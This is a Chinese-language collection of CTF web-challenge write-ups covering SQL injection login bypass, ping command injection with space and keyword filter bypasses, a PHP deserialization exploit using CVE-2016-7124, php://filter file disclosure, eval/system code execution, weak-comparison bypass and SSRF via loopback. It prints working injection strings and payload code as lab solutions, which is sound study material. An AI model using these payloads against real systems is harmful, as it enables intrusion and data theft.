[极客大挑战 2019]EasySQL

学习资料 helloctf-sql注入 CSDN-SQL 语法 实战 Pasted image 20261007122908 这里同时具有用户名还有密码可以进行填入。 从后端数据库的操作来看的话应该

1
select *from 表 where username= '' &password='' --条件

那么可以采取注释后面密码的方式并且满足条件即可即实现如下效果,选择比较常用的 admin 账号来进行登录。

1
select *from 表 where username= 'admin' or '1'='1' -- a' --&password='1'

注意由于这里 sql 的注释 – 后需要空格,所以写为 – a 较为稳妥。 那么则输入admin’ or ‘1’=’1’ – a 或者也可以让后面的密码保持成立

1
select *from 表 where username= 'admin' or '1'='1' &password= '1' or '1'='1'

写完完整的语句后再复制两个引号内的内容可以减少一些错误。

[ACTF2020 新生赛]Exec

exec 、Linux 命令操作 点开后是一个执行 ping 命令的地方,那么说明当前环境是一个命令执行的环境,尝试

1
ping 127.1.1.0 | cat /flag

直接可以获得 flag。 Pasted image 20261007144103

[GXYCTF2019]Ping Ping Ping

打开页面之后提示路径/?ip= 简单的判断操作系统的命令 ifconfig 判断出来是 linux. 题目中过滤 space,bash,flag. Pasted image 20261007161318 利用 ls 可以得知 flag 应该是位于 flag.php 下,需要进行 cat 操作。那么这里就进行空格绕过和特定字符绕过即可。

利用 cat $IFS$1 `ls` 即可把 ls 输出的内容全部进行 cat 读取 或者使用参数化拼接

1
?ip=127.0.0.1;A=ag;B=fl;C=$B$A;cat$IFS$C.php

这里它对内容进行了 php 隐藏,利用 Ctrl + U 即可查看到 flag。

[极客大挑战 2019]PHP

php 反序列化、代码审计、__wakeup 绕过

题目提示我们网站做了备份的处理,利用 dirsearch 找到了存有源码的 www.zip 打开进行代码审计。 index.php

1
2
3
4
5
6
7
8
9
    <?php

    include 'class.php';

    $select = $_GET['select'];

    $res=unserialize(@$select);

    ?>

在 index 页面可以进行传参,同时有 PHP 的反序列化操作。 class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
    function __wakeup(){

        $this->username = 'guest';

    }
    function __destruct(){

        if ($this->password != 100) {

            echo "</br>NO!!!hacker!!!</br>";

            echo "You name is: ";

            echo $this->username;echo "</br>";

            echo "You password is: ";

            echo $this->password;echo "</br>";

            die();

        }

        if ($this->username === 'admin') {

            global $flag;

            echo $flag;

        }else{

            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";

            die();
        }

    }

可以得知我们需要进行构造 username=admin, password=100 的 payload 不过在网页进行反序列化的时候魔术方法 __wakeup 会被先执行。 先编写如下的 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class Name{

    private $username = 'admin';

    private $password = 100;

}

echo urlencode(serialize(new Name()));

?>

查看 PHP 版本来找绕过 __wakeup 漏洞。 Pasted image 20261008143131 这里可以得知其 PHP 的版本为5.3.3,可以进行魔术方法绕过。 CDSN-CVE-2016-7124漏洞利用 CVE-2016-7124 序列化字符串中表示对象属性个数的值大于真实的属性个数时就会跳过 __wakeup 的执行 Pasted image 20261008145521

将对象中变量的个数借助 cyberchef 改成 3 再访问即可获得 flag. Pasted image 20261008151347 再访问一下 Pasted image 20261008151422

几个常用的魔术方法:

__construct() PHP 5 允行开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。

__destruct() 析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

__sleep() serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。

__wakeup() unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

__toString() __toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

[极客大挑战 2019]Secret File

PHP 文件包含、信息泄露 点开访问源代码提示访问 Archive_room.php Pasted image 20261009092514 再通过抓包得到 Pasted image 20261009092623 这里看到它是用了重定向,导致浏览器访问的时候会跳转到 end.php。 再访问 secr3t.php Pasted image 20261009092940 可以看到是一个文件包含的问题,同时还进行了一些过滤。 利用 filter 对 flag.php 进行转换然后输出。 php://filter/read=convert.base64-encode/resource=flag.php Pasted image 20261009093426

一句话木马变形

PHP 过滤绕过、RCE Pasted image 20261009073951 点开是一个 PHP 的执行器,但是有对于输入有一定的过滤,仅允许使用字母、数字、下划线、括号和分号。 这里就得考虑如何去绕过过滤了,先利用 phpinfo() 获取基本信息。 从中可以得知 PHP 的版本号是 7.3.29 Pasted image 20261009080437 同时也没有禁用任何函数。 针对过滤我们可以使用 base64 编码来进行绕过(注意不带 = )。eval() 将传入的字符串当做代码执行,system() 执行系统命令。 先想办法执行eval(‘system(“whoami”)’); Pasted image 20261009084952 可以得知是 web 用户

用户 / 身份 常见作用 能够执行的作用
root 系统超级用户,通常拥有广泛的系统管理权限 许多系统级操作可以执行,但仍可能受容器或安全策略限制
普通用户,如 kali 日常登录、运行程序、管理自己有权访问的文件 通常只能访问授权范围内的资源
www-data 常见的 Web 服务账户 Web 代码可能以此身份运行,访问范围取决于服务器配置
nobody 某些服务使用的低权限账户 通常用于减少服务被攻破后的影响
daemon 某些后台服务使用的账户 具体权限由服务配置决定

利用 ls 命令得知存在 flag.php,这里直接进行 cat flag.php Pasted image 20261009092216

[ACTF2020 新生赛]BackupFile

扫描端口发现备份文件 index.php.bak,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

$key == $str — 弱类型比较,字符串和数字比较时,字符串会被转成数字,遇到非数字时会停止在比较时类型转化。 则只需要传入 key = 123即可。 Pasted image 20261009130236

SSRF绕过

Server-Side Request Forgery SSRF、长度过滤绕过 打开就是一个 php 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php   
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{     
die('hacker'); }}
else{
die('hacker');
}
?> hacker

可以通过构造本地回环的方式读取服务器本地的敏感文件。 对于长度的绕过采用 0 即可代表 127.1.0.0 Pasted image 20261009132920 通常构造本地回环是利用 localhost、127.0.0.1 如果是对字符进行了过滤,那么可以考虑使用十六进制进行转化。